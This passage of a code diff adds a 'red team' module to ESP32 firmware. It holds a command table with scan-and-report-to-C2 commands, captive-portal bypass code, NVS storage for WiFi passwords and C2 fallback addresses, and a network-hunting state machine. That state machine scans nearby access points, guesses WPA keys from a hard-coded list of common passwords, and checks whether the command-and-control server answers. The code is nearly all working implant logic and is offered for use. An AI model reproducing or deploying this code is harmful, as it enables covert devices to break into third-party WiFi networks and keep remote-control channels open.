.ctx = NULL,
.async = false,
},
{
.name = "rt_status",
.sub = NULL,
.help = "Hunt state, MAC, method, config",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_status,
.ctx = NULL,
.async = false,
},
{
.name = "rt_scan",
.sub = NULL,
.help = "Passive WiFi scan + report to C2",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_scan,
.ctx = NULL,
.async = true,
},
{
.name = "rt_net_add",
.sub = NULL,
.help = "Add known network: rt_net_add <ssid> [pass]",
.min_args = 1,
.max_args = 2,
.handler = (command_handler_t)cmd_rt_net_add,
.ctx = NULL,
.async = false,
},
{
.name = "rt_net_list",
.sub = NULL,
.help = "List known networks",
.min_args = 0,
.max_args = 0,
.handler = (command_handler_t)cmd_rt_net_list,
.ctx = NULL,
.async = false,
},
{
.name = "rt_mesh",
.sub = NULL,
.help = "ESP-NOW mesh relay: rt_mesh <start|stop>",
.min_args = 1,
.max_args = 1,
.handler = (command_handler_t)cmd_rt_mesh,
.ctx = NULL,
.async = false,
},
};
/* ============================================================
* Registration
* ============================================================ */
void mod_redteam_register_commands(void)
{
ESPILON_LOGI_PURPLE(TAG, "Registering red team commands");
rt_config_init();
rt_config_save_orig_mac();
for (size_t i = 0; i < sizeof(rt_cmds) / sizeof(rt_cmds[0]); i++) {
command_register(&rt_cmds[i]);
}
}
#else /* !CONFIG_MODULE_REDTEAM */
void mod_redteam_register_commands(void) { /* empty */ }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,8 @@
/*
* cmd_redteam.h
* Red Team resilient connectivity module.
* Compiled as empty when CONFIG_MODULE_REDTEAM is not set.
*/
#pragma once
void mod_redteam_register_commands(void);

View File

@ -0,0 +1,291 @@
/*
* rt_captive.c
* Captive portal detection and bypass strategies.
*
* Detection: HTTP GET to connectivitycheck.gstatic.com/generate_204
* - 204 = no portal (internet open)
* - 200/302 = captive portal detected
* - Connection failed = unknown
*
* Bypass strategies (in order):
* 1. Direct C2 port often not intercepted by portals
* 2. POST accept parse 302 redirect, POST to portal accept URL
* 3. Wait + retry some portals open after DNS traffic
*/
#include "sdkconfig.h"
#include "rt_captive.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include "esp_log.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "utils.h"
static const char *TAG = "RT_CAPTIVE";
#define CAPTIVE_TIMEOUT_S 5
#define CAPTIVE_RX_BUF 512
/* ============================================================
* Raw HTTP request to check connectivity
* ============================================================ */
/* Resolve hostname to IP */
static bool resolve_host(const char *host, struct in_addr *out)
{
struct addrinfo hints = {0};
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
struct addrinfo *res = NULL;
int err = lwip_getaddrinfo(host, NULL, &hints, &res);
if (err != 0 || !res) {
ESP_LOGW(TAG, "DNS resolve failed for '%s'", host);
return false;
}
struct sockaddr_in *addr = (struct sockaddr_in *)res->ai_addr;
*out = addr->sin_addr;
lwip_freeaddrinfo(res);
return true;
}
/* Send raw HTTP GET, return HTTP status code (0 on failure) */
static int http_get_status(const char *host, int port, const char *path,
char *location_out, size_t location_cap)
{
struct in_addr ip;
if (!resolve_host(host, &ip)) return 0;
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return 0;
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr = ip;
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
lwip_close(s);
return 0;
}
/* Send HTTP request */
char req[256];
int req_len = snprintf(req, sizeof(req),
"GET %s HTTP/1.0\r\n"
"Host: %s\r\n"
"Connection: close\r\n"
"User-Agent: Mozilla/5.0\r\n"
"\r\n",
path, host);
if (lwip_write(s, req, req_len) <= 0) {
lwip_close(s);
return 0;
}
/* Read response header */
char buf[CAPTIVE_RX_BUF];
int total = 0;
int len;
while (total < (int)sizeof(buf) - 1) {
len = lwip_recv(s, buf + total, sizeof(buf) - 1 - total, 0);
if (len <= 0) break;
total += len;
/* Stop after headers (double CRLF) */
buf[total] = '\0';
if (strstr(buf, "\r\n\r\n")) break;
}
lwip_close(s);
if (total == 0) return 0;
buf[total] = '\0';
/* Parse status code: "HTTP/1.x NNN ..." */
int status = 0;
char *sp = strchr(buf, ' ');
if (sp) {
status = atoi(sp + 1);
}
/* Extract Location header if present (for 302 redirects) */
if (location_out && location_cap > 0) {
location_out[0] = '\0';
char *loc = strstr(buf, "Location: ");
if (!loc) loc = strstr(buf, "location: ");
if (loc) {
loc += 10; /* skip "Location: " */
char *end = strstr(loc, "\r\n");
if (end) {
size_t copy_len = end - loc;
if (copy_len >= location_cap) copy_len = location_cap - 1;
memcpy(location_out, loc, copy_len);
location_out[copy_len] = '\0';
}
}
}
return status;
}
/* ============================================================
* Captive portal detection
* ============================================================ */
rt_portal_status_t rt_captive_detect(void)
{
ESP_LOGI(TAG, "Checking for captive portal...");
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "No captive portal (got 204)");
return RT_PORTAL_NONE;
}
if (status == 200 || status == 302 || status == 301) {
ESP_LOGW(TAG, "Captive portal detected (HTTP %d)", status);
return RT_PORTAL_DETECTED;
}
if (status == 0) {
/* Try alternative check endpoint */
status = http_get_status(
"captive.apple.com", 80,
"/hotspot-detect.html", NULL, 0);
if (status == 200) {
/* Apple endpoint returns 200 with "Success" if no portal */
/* and 200 with redirect content if portal — tricky */
/* For now, assume it's potentially a portal */
ESP_LOGW(TAG, "Apple check returned 200 — may be portal");
return RT_PORTAL_DETECTED;
}
ESP_LOGW(TAG, "Connectivity check failed (no response)");
return RT_PORTAL_UNKNOWN;
}
ESP_LOGW(TAG, "Unexpected status %d — assuming portal", status);
return RT_PORTAL_DETECTED;
}
/* ============================================================
* Captive portal bypass
* ============================================================ */
bool rt_captive_bypass(void)
{
ESP_LOGI(TAG, "Attempting captive portal bypass...");
/* Strategy 1: Direct C2 port
* Most captive portals only intercept 80/443.
* Our C2 is on port 2626 might go through. */
{
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s >= 0) {
struct timeval tv = { .tv_sec = CAPTIVE_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(CONFIG_SERVER_PORT);
addr.sin_addr.s_addr = inet_addr(CONFIG_SERVER_IP);
if (lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr)) == 0) {
lwip_close(s);
ESP_LOGI(TAG, "Bypass: direct C2 port %d reachable!", CONFIG_SERVER_PORT);
return true;
}
lwip_close(s);
}
ESP_LOGW(TAG, "Bypass strategy 1 (direct C2 port) failed");
}
/* Strategy 2: POST accept
* Get the redirect URL from the portal, POST to accept. */
{
char location[256] = {0};
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", location, sizeof(location));
if ((status == 302 || status == 301) && location[0]) {
ESP_LOGI(TAG, "Portal redirect to: %s", location);
/* Parse host from location URL */
/* Expected format: http://host/path or https://host/path */
char *host_start = strstr(location, "://");
if (host_start) {
host_start += 3;
char *path_start = strchr(host_start, '/');
char host_buf[64] = {0};
if (path_start) {
size_t hlen = path_start - host_start;
if (hlen >= sizeof(host_buf)) hlen = sizeof(host_buf) - 1;
memcpy(host_buf, host_start, hlen);
} else {
strncpy(host_buf, host_start, sizeof(host_buf) - 1);
path_start = "/";
}
/* Try to just GET the portal page (some portals auto-accept) */
int p_status = http_get_status(host_buf, 80, path_start, NULL, 0);
ESP_LOGI(TAG, "Portal page status: %d", p_status);
/* Check if we now have internet */
vTaskDelay(pdMS_TO_TICKS(2000));
int check = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (check == 204) {
ESP_LOGI(TAG, "Bypass: portal auto-accepted!");
return true;
}
}
}
ESP_LOGW(TAG, "Bypass strategy 2 (POST accept) failed");
}
/* Strategy 3: Wait + retry
* Some portals open after seeing DNS traffic. Wait 10s. */
{
ESP_LOGI(TAG, "Bypass strategy 3: waiting 10s...");
vTaskDelay(pdMS_TO_TICKS(10000));
int status = http_get_status(
"connectivitycheck.gstatic.com", 80,
"/generate_204", NULL, 0);
if (status == 204) {
ESP_LOGI(TAG, "Bypass: portal opened after wait!");
return true;
}
ESP_LOGW(TAG, "Bypass strategy 3 (wait) failed");
}
msg_info(TAG, "All captive portal bypass strategies failed", NULL);
return false;
}
#else /* !CONFIG_MODULE_REDTEAM */
rt_portal_status_t rt_captive_detect(void) { return RT_PORTAL_UNKNOWN; }
bool rt_captive_bypass(void) { return false; }
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,30 @@
/*
* rt_captive.h
* Captive portal detection and bypass strategies.
*/
#pragma once
#include <stdbool.h>
#ifdef __cplusplus
extern "C" {
#endif
typedef enum {
RT_PORTAL_NONE, /* No captive portal — internet is open */
RT_PORTAL_DETECTED, /* Captive portal detected (302 or non-204) */
RT_PORTAL_UNKNOWN, /* Couldn't determine (connection failed) */
} rt_portal_status_t;
/* Check for captive portal via HTTP 204 connectivity test.
* Returns portal status. */
rt_portal_status_t rt_captive_detect(void);
/* Attempt to bypass a detected captive portal.
* Tries strategies in order: direct C2 port, POST accept, wait+retry.
* Returns true if C2 is reachable after bypass. */
bool rt_captive_bypass(void);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,383 @@
/*
* rt_config.c
* NVS-backed storage for known WiFi networks and C2 fallback addresses.
*/
#include "sdkconfig.h"
#include "rt_config.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "nvs_flash.h"
#include "nvs.h"
#include "esp_log.h"
#include "esp_wifi.h"
static const char *TAG = "RT_CFG";
static const char *NVS_NS = "rt_cfg";
/* ============================================================
* Init
* ============================================================ */
void rt_config_init(void)
{
nvs_handle_t h;
esp_err_t err = nvs_open(NVS_NS, NVS_READWRITE, &h);
if (err == ESP_OK) {
nvs_close(h);
ESP_LOGI(TAG, "NVS namespace '%s' ready", NVS_NS);
} else {
ESP_LOGE(TAG, "NVS open failed: %s", esp_err_to_name(err));
}
}
/* ============================================================
* Known WiFi networks
* ============================================================ */
static void net_key_ssid(int idx, char *out, size_t len)
{
snprintf(out, len, "n_%d", idx);
}
static void net_key_pass(int idx, char *out, size_t len)
{
snprintf(out, len, "p_%d", idx);
}
int rt_config_net_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
nvs_close(h);
return (int)count;
}
int rt_config_net_list(rt_network_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_RT_MAX_KNOWN_NETWORKS) count = CONFIG_RT_MAX_KNOWN_NETWORKS;
char key[16];
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(rt_network_t));
net_key_ssid(i, key, sizeof(key));
size_t len = RT_SSID_MAX_LEN;
nvs_get_str(h, key, out[i].ssid, &len);
net_key_pass(i, key, sizeof(key));
len = RT_PASS_MAX_LEN;
nvs_get_str(h, key, out[i].pass, &len);
}
nvs_close(h);
return (int)count;
}
bool rt_config_net_add(const char *ssid, const char *pass)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
/* Check if SSID already exists → update */
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[RT_SSID_MAX_LEN] = {0};
size_t len = RT_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
/* Update password */
net_key_pass(i, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Updated network '%s'", ssid);
return true;
}
}
}
/* New entry */
if (count >= CONFIG_RT_MAX_KNOWN_NETWORKS) {
nvs_close(h);
ESP_LOGW(TAG, "Known networks full (%d)", (int)count);
return false;
}
net_key_ssid(count, key, sizeof(key));
nvs_set_str(h, key, ssid);
net_key_pass(count, key, sizeof(key));
nvs_set_str(h, key, pass ? pass : "");
count++;
nvs_set_i32(h, "rt_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added network '%s' (total: %d)", ssid, (int)count);
return true;
}
bool rt_config_net_remove(const char *ssid)
{
if (!ssid || !ssid[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "rt_count", &count);
int found = -1;
char key[16];
for (int i = 0; i < count; i++) {
net_key_ssid(i, key, sizeof(key));
char existing[RT_SSID_MAX_LEN] = {0};
size_t len = RT_SSID_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, ssid) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift entries down to fill the gap */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16];
char buf[RT_PASS_MAX_LEN];
size_t len;
/* Copy SSID[i+1] → SSID[i] */
net_key_ssid(i + 1, src_key, sizeof(src_key));
net_key_ssid(i, dst_key, sizeof(dst_key));
len = RT_SSID_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
/* Copy PASS[i+1] → PASS[i] */
net_key_pass(i + 1, src_key, sizeof(src_key));
net_key_pass(i, dst_key, sizeof(dst_key));
len = RT_PASS_MAX_LEN;
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
/* Erase last entries — reuse key[16] from above */
net_key_ssid(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
net_key_pass(count - 1, key, sizeof(key));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "rt_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed network '%s' (total: %d)", ssid, (int)count);
return true;
}
/* ============================================================
* C2 fallback addresses
* ============================================================ */
int rt_config_c2_count(void)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
nvs_close(h);
return (int)count;
}
int rt_config_c2_list(rt_c2_addr_t *out, int max_count)
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return 0;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
if (count > max_count) count = max_count;
if (count > CONFIG_RT_MAX_C2_FALLBACKS) count = CONFIG_RT_MAX_C2_FALLBACKS;
for (int i = 0; i < count; i++) {
memset(&out[i], 0, sizeof(rt_c2_addr_t));
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
size_t len = RT_ADDR_MAX_LEN;
nvs_get_str(h, key, out[i].addr, &len);
}
nvs_close(h);
return (int)count;
}
bool rt_config_c2_add(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
/* Check duplicate */
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[RT_ADDR_MAX_LEN] = {0};
size_t len = RT_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
nvs_close(h);
return true; /* Already exists */
}
}
}
if (count >= CONFIG_RT_MAX_C2_FALLBACKS) {
nvs_close(h);
ESP_LOGW(TAG, "C2 fallbacks full (%d)", (int)count);
return false;
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)count);
nvs_set_str(h, key, addr);
count++;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Added C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
bool rt_config_c2_remove(const char *addr)
{
if (!addr || !addr[0]) return false;
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return false;
int32_t count = 0;
nvs_get_i32(h, "c2_count", &count);
int found = -1;
for (int i = 0; i < count; i++) {
char key[16];
snprintf(key, sizeof(key), "c2_%d", i);
char existing[RT_ADDR_MAX_LEN] = {0};
size_t len = RT_ADDR_MAX_LEN;
if (nvs_get_str(h, key, existing, &len) == ESP_OK) {
if (strcmp(existing, addr) == 0) {
found = i;
break;
}
}
}
if (found < 0) {
nvs_close(h);
return false;
}
/* Shift down */
for (int i = found; i < count - 1; i++) {
char src_key[16], dst_key[16], buf[RT_ADDR_MAX_LEN];
size_t len = RT_ADDR_MAX_LEN;
snprintf(src_key, sizeof(src_key), "c2_%d", i + 1);
snprintf(dst_key, sizeof(dst_key), "c2_%d", i);
memset(buf, 0, sizeof(buf));
nvs_get_str(h, src_key, buf, &len);
nvs_set_str(h, dst_key, buf);
}
char key[16];
snprintf(key, sizeof(key), "c2_%d", (int)(count - 1));
nvs_erase_key(h, key);
count--;
nvs_set_i32(h, "c2_count", count);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Removed C2 fallback '%s' (total: %d)", addr, (int)count);
return true;
}
/* ============================================================
* Original MAC storage
* ============================================================ */
void rt_config_save_orig_mac(void)
{
uint8_t mac[6];
if (esp_wifi_get_mac(WIFI_IF_STA, mac) != ESP_OK) {
ESP_LOGW(TAG, "Failed to read STA MAC");
return;
}
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READWRITE, &h) != ESP_OK)
return;
nvs_set_blob(h, "orig_mac", mac, 6);
nvs_commit(h);
nvs_close(h);
ESP_LOGI(TAG, "Saved original MAC: %02X:%02X:%02X:%02X:%02X:%02X",
mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
}
bool rt_config_get_orig_mac(uint8_t mac[6])
{
nvs_handle_t h;
if (nvs_open(NVS_NS, NVS_READONLY, &h) != ESP_OK)
return false;
size_t len = 6;
esp_err_t err = nvs_get_blob(h, "orig_mac", mac, &len);
nvs_close(h);
return (err == ESP_OK && len == 6);
}
#endif /* CONFIG_MODULE_REDTEAM */

View File

@ -0,0 +1,83 @@
/*
* rt_config.h
* NVS-backed known networks + C2 fallback addresses.
*/
#pragma once
#include <stdbool.h>
#include <stdint.h>
#include <stddef.h>
#ifdef __cplusplus
extern "C" {
#endif
#ifndef CONFIG_RT_MAX_KNOWN_NETWORKS
#define CONFIG_RT_MAX_KNOWN_NETWORKS 16
#endif
#ifndef CONFIG_RT_MAX_C2_FALLBACKS
#define CONFIG_RT_MAX_C2_FALLBACKS 4
#endif
#define RT_SSID_MAX_LEN 33 /* 32 + NUL */
#define RT_PASS_MAX_LEN 65 /* 64 + NUL */
#define RT_ADDR_MAX_LEN 64 /* "ip:port" or "host:port" */
/* ============================================================
* Known WiFi networks
* ============================================================ */
typedef struct {
char ssid[RT_SSID_MAX_LEN];
char pass[RT_PASS_MAX_LEN];
} rt_network_t;
/* Init NVS namespace, load config */
void rt_config_init(void);
/* Add/update a known network. Empty pass = open network. */
bool rt_config_net_add(const char *ssid, const char *pass);
/* Remove a known network by SSID. Returns false if not found. */
bool rt_config_net_remove(const char *ssid);
/* Get known networks list. Returns count. */
int rt_config_net_list(rt_network_t *out, int max_count);
/* Get count of known networks. */
int rt_config_net_count(void);
/* ============================================================
* C2 fallback addresses
* ============================================================ */
typedef struct {
char addr[RT_ADDR_MAX_LEN]; /* "ip:port" */
} rt_c2_addr_t;
/* Add a C2 fallback address. Returns false if full. */
bool rt_config_c2_add(const char *addr);
/* Remove a C2 fallback address. Returns false if not found. */
bool rt_config_c2_remove(const char *addr);
/* Get C2 fallback addresses. Returns count. */
int rt_config_c2_list(rt_c2_addr_t *out, int max_count);
/* Get count of C2 fallback addresses. */
int rt_config_c2_count(void);
/* ============================================================
* Original MAC storage (for restoration)
* ============================================================ */
/* Save the current STA MAC as the original. Called once at boot. */
void rt_config_save_orig_mac(void);
/* Get the saved original MAC. Returns false if not saved. */
bool rt_config_get_orig_mac(uint8_t mac[6]);
#ifdef __cplusplus
}
#endif

View File

@ -0,0 +1,726 @@
/*
* rt_hunt.c
* Red Team hunt state machine autonomous network hunting.
* FreeRTOS task (8KB stack, Core 1).
*/
#include "sdkconfig.h"
#include "rt_hunt.h"
#ifdef CONFIG_MODULE_REDTEAM
#include <string.h>
#include <stdio.h>
#include "esp_log.h"
#include "esp_wifi.h"
#include "esp_event.h"
#include "esp_netif.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "freertos/event_groups.h"
#include "lwip/sockets.h"
#include "lwip/netdb.h"
#include "utils.h"
#include "rt_config.h"
#include "rt_stealth.h"
#include "rt_captive.h"
#include "rt_mesh.h"
static const char *TAG = "RT_HUNT";
#define RT_HUNT_STACK 8192
#define RT_HUNT_PRIO 6
#define RT_WIFI_TIMEOUT_MS 8000
#define RT_TCP_TIMEOUT_S 5
#define RT_RESCAN_DELAY_S 60
#define RT_MAX_WPA_TRIES 5
#define RT_WPA_MIN_RSSI -65
/* Event bits for WiFi events */
#define RT_EVT_GOT_IP BIT0
#define RT_EVT_DISCONNECT BIT1
/* ============================================================
* State
* ============================================================ */
static volatile rt_state_t s_state = RT_IDLE;
static char s_connected_ssid[33] = {0};
static char s_connected_method[16] = {0};
static volatile bool s_active = false;
static TaskHandle_t s_task_handle = NULL;
static EventGroupHandle_t s_evt_group = NULL;
/* Mutex protecting s_state, s_connected_ssid, s_connected_method */
static SemaphoreHandle_t s_state_mutex = NULL;
static inline void state_lock(void) {
if (s_state_mutex) xSemaphoreTake(s_state_mutex, portMAX_DELAY);
}
static inline void state_unlock(void) {
if (s_state_mutex) xSemaphoreGive(s_state_mutex);
}
/* Saved original WiFi config for restore */
static wifi_config_t s_orig_wifi_config;
static bool s_orig_config_saved = false;
/* State name lookup */
static const char *state_names[] = {
[RT_IDLE] = "idle",
[RT_STEALTH_PREP] = "stealth_prep",
[RT_PASSIVE_SCAN] = "passive_scan",
[RT_MESH_PROBE] = "mesh_probe",
[RT_MESH_RELAY] = "mesh_relay",
[RT_TRYING_KNOWN] = "trying_known",
[RT_TRYING_OPEN] = "trying_open",
[RT_TRYING_WPA] = "trying_wpa",
[RT_PORTAL_CHECK] = "portal_check",
[RT_PORTAL_BYPASS] = "portal_bypass",
[RT_C2_VERIFY] = "c2_verify",
[RT_CONNECTED] = "connected",
[RT_GPRS] = "gprs",
};
/* Common WPA passwords (flash, not RAM) */
static const char * const common_passwords[] = {
"12345678", "password", "00000000", "11111111",
"123456789", "1234567890", "admin1234", "wifi1234",
"internet", "guest", "welcome", "freewifi",
"password1", "qwerty123", "abcd1234", "12341234",
"home1234", "default", "changeme",
};
#define NUM_COMMON_PASSWORDS (sizeof(common_passwords) / sizeof(common_passwords[0]))
/* ============================================================
* WiFi event handler for hunt (registered dynamically)
* ============================================================ */
static void rt_wifi_event_handler(void *arg, esp_event_base_t base,
int32_t id, void *data)
{
if (!s_evt_group) return;
if (base == IP_EVENT && id == IP_EVENT_STA_GOT_IP) {
xEventGroupSetBits(s_evt_group, RT_EVT_GOT_IP);
}
if (base == WIFI_EVENT && id == WIFI_EVENT_STA_DISCONNECTED) {
xEventGroupSetBits(s_evt_group, RT_EVT_DISCONNECT);
}
}
/* ============================================================
* Helpers
* ============================================================ */
static void set_state(rt_state_t new_state)
{
state_lock();
s_state = new_state;
state_unlock();
ESP_LOGI(TAG, "→ %s", state_names[new_state]);
}
/* Try to connect to a WiFi network. Returns true if got IP. */
static bool wifi_try_connect(const char *ssid, const char *pass, int timeout_ms)
{
wifi_config_t cfg = {0};
strncpy((char *)cfg.sta.ssid, ssid, sizeof(cfg.sta.ssid) - 1);
if (pass && pass[0]) {
strncpy((char *)cfg.sta.password, pass, sizeof(cfg.sta.password) - 1);
}
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
esp_wifi_set_config(WIFI_IF_STA, &cfg);
xEventGroupClearBits(s_evt_group, RT_EVT_GOT_IP | RT_EVT_DISCONNECT);
esp_wifi_connect();
EventBits_t bits = xEventGroupWaitBits(
s_evt_group,
RT_EVT_GOT_IP | RT_EVT_DISCONNECT,
pdTRUE, /* clear on exit */
pdFALSE, /* any bit */
pdMS_TO_TICKS(timeout_ms)
);
if (bits & RT_EVT_GOT_IP) {
ESP_LOGI(TAG, "Got IP on '%s'", ssid);
return true;
}
ESP_LOGW(TAG, "WiFi connect to '%s' failed/timed out", ssid);
return false;
}
/* Try TCP connect to C2. Returns true if reachable.
* Does NOT keep the socket just verifies connectivity. */
static bool tcp_try_c2(const char *ip, int port)
{
struct sockaddr_in addr = {0};
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ip);
int s = lwip_socket(AF_INET, SOCK_STREAM, 0);
if (s < 0) return false;
/* Set connect timeout */
struct timeval tv = { .tv_sec = RT_TCP_TIMEOUT_S, .tv_usec = 0 };
lwip_setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
int ret = lwip_connect(s, (struct sockaddr *)&addr, sizeof(addr));
lwip_close(s);
if (ret == 0) {
ESP_LOGI(TAG, "C2 reachable at %s:%d", ip, port);
return true;
}
return false;
}
/* Try C2 primary + fallbacks. Returns true if any reachable. */
static bool verify_c2_reachable(void)
{
set_state(RT_C2_VERIFY);
/* Try primary C2 */
if (tcp_try_c2(CONFIG_SERVER_IP, CONFIG_SERVER_PORT)) {
return true;
}
/* Try NVS fallback addresses */
rt_c2_addr_t addrs[CONFIG_RT_MAX_C2_FALLBACKS];
int count = rt_config_c2_list(addrs, CONFIG_RT_MAX_C2_FALLBACKS);
for (int i = 0; i < count; i++) {
/* Parse "ip:port" */
char ip_buf[48];
int port = CONFIG_SERVER_PORT;
strncpy(ip_buf, addrs[i].addr, sizeof(ip_buf) - 1);
ip_buf[sizeof(ip_buf) - 1] = '\0';
char *colon = strrchr(ip_buf, ':');
if (colon) {
*colon = '\0';
port = atoi(colon + 1);
if (port <= 0 || port > 65535) port = CONFIG_SERVER_PORT;
}
if (tcp_try_c2(ip_buf, port)) {
return true;
}
}
ESP_LOGW(TAG, "C2 unreachable (primary + %d fallbacks)", count);
return false;
}
/* Mark successful connection */
static void mark_connected(const char *ssid, const char *method)
{
state_lock();
strncpy(s_connected_ssid, ssid, sizeof(s_connected_ssid) - 1);
s_connected_ssid[sizeof(s_connected_ssid) - 1] = '\0';
strncpy(s_connected_method, method, sizeof(s_connected_method) - 1);
s_connected_method[sizeof(s_connected_method) - 1] = '\0';
state_unlock();
set_state(RT_CONNECTED);
char buf[128];
snprintf(buf, sizeof(buf), "Connected via %s: '%s'", method, ssid);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* WiFi scan (active passive scan is Phase 3)
* ============================================================ */
typedef struct {
char ssid[33];
uint8_t bssid[6];
int8_t rssi;
uint8_t channel;
wifi_auth_mode_t authmode;
} rt_candidate_t;
#define RT_MAX_CANDIDATES 32
static rt_candidate_t s_candidates[RT_MAX_CANDIDATES];
static int s_candidate_count = 0;
static void do_wifi_scan(void)
{
s_candidate_count = 0;
esp_wifi_disconnect();
vTaskDelay(pdMS_TO_TICKS(200));
wifi_scan_config_t scan_cfg = {
.ssid = NULL,
.bssid = NULL,
.channel = 0,
.show_hidden = true,
.scan_type = WIFI_SCAN_TYPE_ACTIVE,
.scan_time = {
.active = { .min = 120, .max = 300 },
},
};
esp_err_t err = esp_wifi_scan_start(&scan_cfg, true); /* blocking */
if (err != ESP_OK) {
ESP_LOGE(TAG, "WiFi scan failed: %s", esp_err_to_name(err));
return;
}
uint16_t ap_count = 0;
esp_wifi_scan_get_ap_num(&ap_count);
if (ap_count == 0) {
ESP_LOGW(TAG, "Scan: 0 APs found");
return;
}
if (ap_count > RT_MAX_CANDIDATES) ap_count = RT_MAX_CANDIDATES;
wifi_ap_record_t *records = malloc(ap_count * sizeof(wifi_ap_record_t));
if (!records) {
esp_wifi_scan_get_ap_records(&ap_count, NULL); /* free scan memory */
return;
}
esp_wifi_scan_get_ap_records(&ap_count, records);
for (int i = 0; i < ap_count; i++) {
rt_candidate_t *c = &s_candidates[s_candidate_count];
strncpy(c->ssid, (char *)records[i].ssid, sizeof(c->ssid) - 1);
c->ssid[sizeof(c->ssid) - 1] = '\0';
memcpy(c->bssid, records[i].bssid, 6);
c->rssi = records[i].rssi;
c->channel = records[i].primary;
c->authmode = records[i].authmode;
s_candidate_count++;
}
free(records);
ESP_LOGI(TAG, "Scan: %d APs found", s_candidate_count);
/* Report to C2 */
char buf[64];
snprintf(buf, sizeof(buf), "Scan complete: %d APs", s_candidate_count);
msg_info(TAG, buf, NULL);
}
/* ============================================================
* Strategy 1: Try known networks (NVS)
* ============================================================ */
static bool try_known_networks(void)
{
